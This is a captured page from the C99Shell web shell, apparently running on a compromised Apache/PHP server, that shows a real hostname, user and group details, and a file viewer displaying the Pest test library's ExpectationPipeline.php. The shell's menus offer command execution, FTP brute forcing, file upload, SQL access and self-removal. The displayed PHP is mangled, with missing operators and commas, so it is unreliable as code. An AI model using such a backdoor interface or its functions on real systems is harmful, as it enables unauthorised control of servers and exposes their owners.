!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest/src/Support/   drwxr-xr-x
Free 29.06 GB of 117.98 GB (24.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExpectationPipeline.php (1.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\Support;

use 
Closure;

/**
 * @internal
 */
final class ExpectationPipeline
{
    
/**
     * The list of pipes.
     *
     * @var array<int, Closure>
     */
    
private array $pipes = [];

    
/**
     * The list of passables.
     *
     * @var array<array-key, mixed>
     */
    
private array $passables;

    
/**
     * Creates a new instance of Expectation Pipeline.
     */
    
public function __construct(
        private readonly 
Closure $closure
    
) {}

    
/**
     * Creates a new instance of Expectation Pipeline with given closure.
     */
    
public static function for(Closure $closure): self
    
{
        return new 
self($closure);
    }

    
/**
     * Sets the list of passables.
     */
    
public function send(mixed ...$passables): self
    
{
        
$this->passables $passables;

        return 
$this;
    }

    
/**
     * Sets the list of pipes.
     *
     * @param  array<int, Closure>  $pipes
     */
    
public function through(array $pipes): self
    
{
        
$this->pipes $pipes;

        return 
$this;
    }

    
/**
     * Runs the pipeline.
     */
    
public function run(): void
    
{
        
$pipeline array_reduce(
            
array_reverse($this->pipes),
            
$this->carry(),
            function (): 
void {
                
call_user_func_array($this->closure$this->passables);
            }
        );

        
$pipeline();
    }

    
/**
     * Get a Closure that will carry of the expectation.
     */
    
public function carry(): Closure
    
{
        return fn (
mixed $stack, callable $pipe): Closure => fn () => $pipe($stack, ...$this->passables);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--